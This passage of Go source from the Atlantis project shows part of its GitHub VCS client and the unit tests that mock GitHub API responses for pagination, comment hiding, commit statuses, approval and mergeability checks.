cfg.GetPEM(), WebhookSecret: cfg.GetWebhookSecret(), Name: cfg.GetName(), URL: cfg.GetHTMLURL(), } return data, err } // GetFileContent a repository file content from VCS (which support fetch a single file from repository) // The first return value indicates whether the repo contains a file or not // if BaseRepo had a file, its content will placed on the second return value func (g *Client) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) { logger.Debug("Getting GitHub file content for file '%s'", fileName) opt := github.RepositoryContentGetOptions{Ref: branch} fileContent, _, resp, err := g.client.Repositories.GetContents(g.ctx, repo.Owner, repo.Name, fileName, &opt) if resp != nil { logger.Debug("GET /repos/%v/%v/contents/%s returned: %v", repo.Owner, repo.Name, fileName, resp.StatusCode) } if resp.StatusCode == http.StatusNotFound { return false, []byte{}, nil } if err != nil { return true, []byte{}, err } decodedData, err := base64.StdEncoding.DecodeString(*fileContent.Content) if err != nil { return true, []byte{}, err } return true, decodedData, nil } func (g *Client) SupportsSingleFileDownload(_ models.Repo) bool { return true } func (g *Client) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) { logger.Debug("Getting clone URL for %s", repo) parts := strings.Split(repo, "/") repository, resp, err := g.client.Repositories.Get(g.ctx, parts[0], parts[1]) if resp != nil { logger.Debug("GET /repos/%v/%v returned: %v", parts[0], parts[1], resp.StatusCode) } if err != nil { return "", err } return repository.GetCloneURL(), nil } func (g *Client) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { logger.Debug("Getting labels for GitHub pull request %d", pull.Num) pullDetails, resp, err := g.client.PullRequests.Get(g.ctx, repo.Owner, repo.Name, pull.Num) if resp != nil { logger.Debug("GET /repos/%v/%v/pulls/%d returned: %v", repo.Owner, repo.Name, pull.Num, resp.StatusCode) } if err != nil { return nil, err } var labels []string for _, label := range pullDetails.Labels { labels = append(labels, *label.Name) } return labels, nil } ================================================ FILE: server/events/vcs/github/client_internal_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package github import ( "testing" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // If the hostname is github.com, should use normal BaseURL. func TestNew_GithubCom(t *testing.T) { client, err := New("github.com", &UserCredentials{"user", "pass", ""}, Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) Equals(t, "https://api.github.com/", client.client.BaseURL.String()) } // If the hostname is a non-github hostname should use the right BaseURL. func TestNew_NonGithub(t *testing.T) { client, err := New("example.com", &UserCredentials{"user", "pass", ""}, Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) Equals(t, "https://example.com/api/v3/", client.client.BaseURL.String()) // If possible in the future, test the GraphQL client's URL as well. But at the // moment the shurcooL library doesn't expose it. } ================================================ FILE: server/events/vcs/github/client_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package github_test import ( "crypto/tls" "encoding/json" "fmt" "io" "net/http" "net/http/httptest" "net/url" "os" "strings" "testing" "time" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/github" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" "github.com/shurcooL/githubv4" ) // GetModifiedFiles should make multiple requests if more than one page // and concat results. func TestClient_GetModifiedFiles(t *testing.T) { logger := logging.NewNoopLogger(t) respTemplate := `[ { "sha": "bbcd538c8e72b8c175046e27cc8f907076331401", "filename": "%s", "status": "added", "additions": 103, "deletions": 21, "changes": 124, "blob_url": "https://github.com/octocat/Hello-World/blob/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt", "raw_url": "https://github.com/octocat/Hello-World/raw/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt", "contents_url": "https://api.github.com/repos/octocat/Hello-World/contents/file1.txt?ref=6dcb09b5b57875f334f61aebed695e2e4193db5e", "patch": "@@ -132,7 +132,7 @@ module Test @@ -1000,7 +1000,7 @@ module Test" } ]` firstResp := fmt.Sprintf(respTemplate, "file1.txt") secondResp := fmt.Sprintf(respTemplate, "file2.txt") testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/api/v3/repos/owner/repo/pulls/1/files?per_page=300": // We write a header that means there's an additional page. w.Header().Add("Link", `; rel="next", ; rel="last"`) w.Write([]byte(firstResp)) // nolint: errcheck return // The second should hit this URL. case "/api/v3/repos/owner/repo/pulls/1/files?page=2&per_page=300": w.Write([]byte(secondResp)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logger) Ok(t, err) defer disableSSLVerification()() files, err := client.GetModifiedFiles( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, []string{"file1.txt", "file2.txt"}, files) } // GetModifiedFiles should include the source and destination of a moved // file. func TestClient_GetModifiedFilesMovedFile(t *testing.T) { logger := logging.NewNoopLogger(t) resp := `[ { "sha": "bbcd538c8e72b8c175046e27cc8f907076331401", "filename": "new/filename.txt", "previous_filename": "previous/filename.txt", "status": "renamed", "additions": 103, "deletions": 21, "changes": 124, "blob_url": "https://github.com/octocat/Hello-World/blob/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt", "raw_url": "https://github.com/octocat/Hello-World/raw/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt", "contents_url": "https://api.github.com/repos/octocat/Hello-World/contents/file1.txt?ref=6dcb09b5b57875f334f61aebed695e2e4193db5e", "patch": "@@ -132,7 +132,7 @@ module Test @@ -1000,7 +1000,7 @@ module Test" } ]` testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/api/v3/repos/owner/repo/pulls/1/files?per_page=300": w.Write([]byte(resp)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() files, err := client.GetModifiedFiles( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, []string{"new/filename.txt", "previous/filename.txt"}, files) } func TestClient_PaginatesComments(t *testing.T) { logger := logging.NewNoopLogger(t) calls := 0 issueResps := []string{ `[ {"node_id": "1", "body": "asd\nplan\nasd", "user": {"login": "someone-else"}}, {"node_id": "2", "body": "asd plan\nasd", "user": {"login": "user"}} ]`, `[ {"node_id": "3", "body": "asd", "user": {"login": "someone-else"}}, {"node_id": "4", "body": "asdasd", "user": {"login": "someone-else"}} ]`, `[ {"node_id": "5", "body": "asd plan", "user": {"login": "someone-else"}}, {"node_id": "6", "body": "asd\nplan", "user": {"login": "user"}} ]`, `[ {"node_id": "7", "body": "asd", "user": {"login": "user"}}, {"node_id": "8", "body": "asd plan \n asd", "user": {"login": "user"}} ]`, } minimizeResp := "{}" type graphQLCall struct { Variables struct { Input githubv4.MinimizeCommentInput `json:"input"` } `json:"variables"` } gotMinimizeCalls := make([]graphQLCall, 0, 2) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method + " " + r.RequestURI { case "POST /api/graphql": defer r.Body.Close() // nolint: errcheck body, err := io.ReadAll(r.Body) if err != nil { t.Errorf("read body error: %v", err) http.Error(w, "server error", http.StatusInternalServerError) return } call := graphQLCall{} err = json.Unmarshal(body, &call) if err != nil { t.Errorf("parse body error: %v", err) http.Error(w, "server error", http.StatusInternalServerError) return } gotMinimizeCalls = append(gotMinimizeCalls, call) w.Write([]byte(minimizeResp)) // nolint: errcheck return default: if r.Method != "GET" || !strings.HasPrefix(r.RequestURI, "/api/v3/repos/owner/repo/issues/123/comments") { t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } if (calls + 1) < len(issueResps) { w.Header().Add( "Link", fmt.Sprintf( `; rel="next"`, r.Host, calls+1, ), ) } w.Write([]byte(issueResps[calls])) // nolint: errcheck calls++ } }), ) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() err = client.HidePrevCommandComments( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, 123, command.Plan.TitleString(), "", ) Ok(t, err) Equals(t, 2, len(gotMinimizeCalls)) Equals(t, "2", gotMinimizeCalls[0].Variables.Input.SubjectID) Equals(t, "8", gotMinimizeCalls[1].Variables.Input.SubjectID) Equals(t, githubv4.ReportedContentClassifiersOutdated, gotMinimizeCalls[0].Variables.Input.Classifier) Equals(t, githubv4.ReportedContentClassifiersOutdated, gotMinimizeCalls[1].Variables.Input.Classifier) } func TestClient_HideOldComments(t *testing.T) { logger := logging.NewNoopLogger(t) atlantisUser := "AtlantisUser" pullRequestNum := 123 issueResp := strings.ReplaceAll(`[ {"node_id": "1", "body": "asd\nplan\nasd", "user": {"login": "someone-else"}}, {"node_id": "2", "body": "asd plan\nasd", "user": {"login": "someone-else"}}, {"node_id": "3", "body": "asdasdasd\nasdasdasd", "user": {"login": "someone-else"}}, {"node_id": "4", "body": "asdasdasd\nasdasdasd", "user": {"login": "AtlantisUser"}}, {"node_id": "5", "body": "asd\nplan\nasd", "user": {"login": "AtlantisUser"}}, {"node_id": "6", "body": "Ran Plan for 2 projects:", "user": {"login": "AtlantisUser"}}, {"node_id": "7", "body": "Ran Apply for 2 projects:", "user": {"login": "AtlantisUser"}}, {"node_id": "8", "body": "Ran Plan for dir: 'stack1' workspace: 'default'", "user": {"login": "AtlantisUser"}}, {"node_id": "9", "body": "Ran Plan for dir: 'stack2' workspace: 'default'", "user": {"login": "AtlantisUser"}}, {"node_id": "10", "body": "Continued Plan from previous comment\nasd", "user": {"login": "AtlantisUser"}} ]`, "'", "`") minimizeResp := "{}" type graphQLCall struct { Variables struct { Input githubv4.MinimizeCommentInput `json:"input"` } `json:"variables"` } cases := []struct { dir string processedComments int processedCommentIds []string }{ { // With no dir specified, comments 6, 8, 9 and 10 should be minimized. "", 4, []string{"6", "8", "9", "10"}, }, { // With a dir of "stack1", comment 8 should be minimized. "stack1", 1, []string{"8"}, }, { // With a dir of "stack2", comment 9 should be minimized. "stack2", 1, []string{"9"}, }, } for _, c := range cases { t.Run(c.dir, func(t *testing.T) { gotMinimizeCalls := make([]graphQLCall, 0, 1) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method + " " + r.RequestURI { // This gets the pull request's comments. case fmt.Sprintf("GET /api/v3/repos/owner/repo/issues/%v/comments?direction=asc&sort=created", pullRequestNum): w.Write([]byte(issueResp)) // nolint: errcheck return case "POST /api/graphql": defer r.Body.Close() // nolint: errcheck body, err := io.ReadAll(r.Body) if err != nil { t.Errorf("read body error: %v", err) http.Error(w, "server error", http.StatusInternalServerError) return } call := graphQLCall{} err = json.Unmarshal(body, &call) if err != nil { t.Errorf("parse body error: %v", err) http.Error(w, "server error", http.StatusInternalServerError) return } gotMinimizeCalls = append(gotMinimizeCalls, call) w.Write([]byte(minimizeResp)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } }), ) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{atlantisUser, "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() err = client.HidePrevCommandComments( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, pullRequestNum, command.Plan.TitleString(), c.dir, ) Ok(t, err) Equals(t, c.processedComments, len(gotMinimizeCalls)) for i := 0; i < c.processedComments; i++ { Equals(t, c.processedCommentIds[i], gotMinimizeCalls[i].Variables.Input.SubjectID) Equals(t, githubv4.ReportedContentClassifiersOutdated, gotMinimizeCalls[i].Variables.Input.Classifier) } }) } } func TestClient_UpdateStatus(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus expState string }{ { models.PendingCommitStatus, "pending", }, { models.SuccessCommitStatus, "success", }, { models.FailedCommitStatus, "failure", }, } for _, c := range cases { t.Run(c.status.String(), func(t *testing.T) { testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/owner/repo/statuses/": body, err := io.ReadAll(r.Body) Ok(t, err) exp := fmt.Sprintf(`{"state":"%s","target_url":"https://google.com","description":"description","context":"src"}%s`, c.expState, "\n") Equals(t, exp, string(body)) defer r.Body.Close() // nolint: errcheck w.WriteHeader(http.StatusOK) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() err = client.UpdateStatus( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, models.PullRequest{ Num: 1, }, c.status, "src", "description", "https://google.com") Ok(t, err) }) } } func TestClient_PullIsApproved(t *testing.T) { logger := logging.NewNoopLogger(t) respTemplate := `[ { "id": %d, "node_id": "MDE3OlB1bGxSZXF1ZXN0UmV2aWV3ODA=", "user": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "body": "Here is the body for the review.", "commit_id": "ecdd80bb57125d7ba9641ffaa4d7d2c19d3f3091", "state": "CHANGES_REQUESTED", "html_url": "https://github.com/octocat/Hello-World/pull/12#pullrequestreview-%d", "pull_request_url": "https://api.github.com/repos/octocat/Hello-World/pulls/12", "_links": { "html": { "href": "https://github.com/octocat/Hello-World/pull/12#pullrequestreview-%d" }, "pull_request": { "href": "https://api.github.com/repos/octocat/Hello-World/pulls/12" } } } ]` firstResp := fmt.Sprintf(respTemplate, 80, 80, 80) secondResp := fmt.Sprintf(respTemplate, 81, 81, 81) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/api/v3/repos/owner/repo/pulls/1/reviews?per_page=300": // We write a header that means there's an additional page. w.Header().Add("Link", `; rel="next", ; rel="last"`) w.Write([]byte(firstResp)) // nolint: errcheck return // The second should hit this URL. case "/api/v3/repos/owner/repo/pulls/1/reviews?page=2&per_page=300": w.Write([]byte(secondResp)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() approvalStatus, err := client.PullIsApproved( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, false, approvalStatus.IsApproved) } func TestClient_PullIsMergeable(t *testing.T) { logger := logging.NewNoopLogger(t) vcsStatusName := "atlantis-test" cases := []struct { state string expMergeable models.MergeableStatus }{ { "dirty", models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state dirty", }, }, { "unknown", models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state unknown", }, }, { "blocked", models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked", }, }, { "behind", models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state behind", }, }, { "random", models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state random", }, }, { "unstable", models.MergeableStatus{ IsMergeable: true, }, }, { "has_hooks", models.MergeableStatus{ IsMergeable: true, }, }, { "clean", models.MergeableStatus{ IsMergeable: true, }, }, { "", models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state ", }, }, } // Use a real GitHub json response and edit the mergeable_state field. jsBytes, err := os.ReadFile("testdata/pull-request.json") Ok(t, err) prJSON := string(jsBytes) for _, c := range cases { t.Run(c.state, func(t *testing.T) { response := strings.Replace(prJSON, `"mergeable_state": "clean"`, fmt.Sprintf(`"mergeable_state": "%s"`, c.state), 1, ) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/owner/repo/pulls/1": w.Write([]byte(response)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() actMergeable, err := client.PullIsMergeable( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, models.PullRequest{ Num: 1, }, vcsStatusName, []string{}) Ok(t, err) Equals(t, c.expMergeable, actMergeable) }) } } func TestClient_PullIsMergeable_Draft(t *testing.T) { logger := logging.NewNoopLogger(t) vcsStatusName := "atlantis-test" // Use a real GitHub json response and inject draft: true. jsBytes, err := os.ReadFile("testdata/pull-request.json") Ok(t, err) prJSON := string(jsBytes) // Inject draft: true. // We replace "mergeable_state": "clean" to ensure it's clean (so it would be mergeable otherwise) // and add "draft": true. response := strings.Replace(prJSON, `"mergeable_state": "clean"`, `"mergeable_state": "clean", "draft": true`, 1, ) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/owner/repo/pulls/1": w.Write([]byte(response)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() actMergeable, err := client.PullIsMergeable( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, models.PullRequest{ Num: 1, }, vcsStatusName, []string{}) Ok(t, err) Equals(t, models.MergeableStatus{ IsMergeable: false, Reason: "PR is a draft", }, actMergeable) } func TestClient_PullIsMergeableWithAllowMergeableBypassApply(t *testing.T) { logger := logging.NewNoopLogger(t) vcsStatusName := "atlantis" ignoreVCSStatusNames := []string{"other-atlantis"} cases := []struct { state string statusCheckRollupFilePath string reviewDecision string expMergeable models.MergeableStatus }{ { "dirty", "ruleset-atlantis-apply-pending.json", `"REVIEW_REQUIRED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state dirty", }, }, { "unknown", "ruleset-atlantis-apply-pending.json", `"REVIEW_REQUIRED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state unknown", }, }, { "blocked", "ruleset-atlantis-apply-pending.json", `"REVIEW_REQUIRED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "ruleset-atlantis-apply-pending.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-atlantis-apply-pending.json", "null", models.MergeableStatus{ IsMergeable: true, }, }, { "behind", "ruleset-atlantis-apply-pending.json", `"REVIEW_REQUIRED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state behind", }, }, { "random", "ruleset-atlantis-apply-pending.json", `"REVIEW_REQUIRED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state random", }, }, { "unstable", "ruleset-atlantis-apply-pending.json", `"REVIEW_REQUIRED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "has_hooks", "ruleset-atlantis-apply-pending.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "clean", "ruleset-atlantis-apply-pending.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "", "ruleset-atlantis-apply-pending.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state ", }, }, { "blocked", "ruleset-atlantis-apply-expected.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-optional-check-failed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-optional-status-failed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-check-pending.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "ruleset-check-pending-other-atlantis.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-check-skipped.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-check-neutral.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-evaluate-workflow-failed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "branch-protection-expected.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "branch-protection-failed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "branch-protection-passed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-check-expected.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "ruleset-check-failed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "ruleset-check-failed-other-atlantis.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-check-passed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-workflow-expected.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "ruleset-workflow-failed-first-check-successful.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "ruleset-workflow-failed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "ruleset-workflow-passed.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-workflow-passed-multiple-runs.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-workflow-passed-sha-match.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, { "blocked", "ruleset-workflow-passed-sha-mismatch.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, }, { "blocked", "ruleset-workflow-passed-with-global-codeql.json", `"APPROVED"`, models.MergeableStatus{ IsMergeable: true, }, }, } // Use a real GitHub json response and edit the mergeable_state field. jsBytes, err := os.ReadFile("testdata/pull-request.json") Ok(t, err) prJSON := string(jsBytes) jsBytes, err = os.ReadFile("testdata/pull-request-mergeability/repository-id.json") Ok(t, err) repoIdJSON := string(jsBytes) for _, c := range cases { t.Run(fmt.Sprintf("%s-%s", c.state, c.statusCheckRollupFilePath), func(t *testing.T) { response := strings.Replace(prJSON, `"mergeable_state": "clean"`, fmt.Sprintf(`"mergeable_state": "%s"`, c.state), 1, ) // PR review decision and checks statuses Response jsBytes, err = os.ReadFile("testdata/pull-request-mergeability/" + c.statusCheckRollupFilePath) Ok(t, err) prMergeableStatusJSON := string(jsBytes) // PR review decision and checks statuses Response prMergeableStatus := strings.Replace(prMergeableStatusJSON, `"reviewDecision": null,`, fmt.Sprintf(`"reviewDecision": %s,`, c.reviewDecision), 1, ) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/octocat/repo/pulls/1": w.Write([]byte(response)) // nolint: errcheck return case "/api/graphql": body, err := io.ReadAll(r.Body) if err != nil { t.Errorf("read body error: %v", err) http.Error(w, "", http.StatusInternalServerError) return } if strings.Contains(string(body), "pullRequest(") { w.Write([]byte(prMergeableStatus)) // nolint: errcheck return } else if strings.Contains(string(body), "databaseId") { w.Write([]byte(repoIdJSON)) // nolint: errcheck return } t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{AllowMergeableBypassApply: true}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() actMergeable, err := client.PullIsMergeable( logger, models.Repo{ FullName: "octocat/repo", Owner: "octocat", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, models.PullRequest{ Num: 1, }, vcsStatusName, ignoreVCSStatusNames) Ok(t, err) Equals(t, c.expMergeable, actMergeable) }) } } func TestClient_MergePullHandlesError(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { code int message string merged string expErr string }{ { code: 200, message: "Pull Request successfully merged", merged: "true", expErr: "", }, { code: 405, message: "Pull Request is not mergeable", expErr: "405 Pull Request is not mergeable []", }, { code: 409, message: "Head branch was modified. Review and try the merge again.", expErr: "409 Head branch was modified. Review and try the merge again. []", }, } jsBytes, err := os.ReadFile("testdata/repo.json") Ok(t, err) for _, c := range cases { t.Run(c.message, func(t *testing.T) { testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/owner/repo": w.Write(jsBytes) // nolint: errcheck return case "/api/v3/repos/owner/repo/pulls/1/merge": body, err := io.ReadAll(r.Body) Ok(t, err) exp := "{\"merge_method\":\"merge\"}\n" Equals(t, exp, string(body)) var resp string if c.code == 200 { resp = fmt.Sprintf(`{"message":"%s","merged":%s}%s`, c.message, c.merged, "\n") } else { resp = fmt.Sprintf(`{"message":"%s"}%s`, c.message, "\n") } defer r.Body.Close() // nolint: errcheck w.WriteHeader(c.code) w.Write([]byte(resp)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() err = client.MergePull( logger, models.PullRequest{ BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, Num: 1, }, models.PullRequestOptions{ DeleteSourceBranchOnMerge: false, }) if c.expErr == "" { Ok(t, err) } 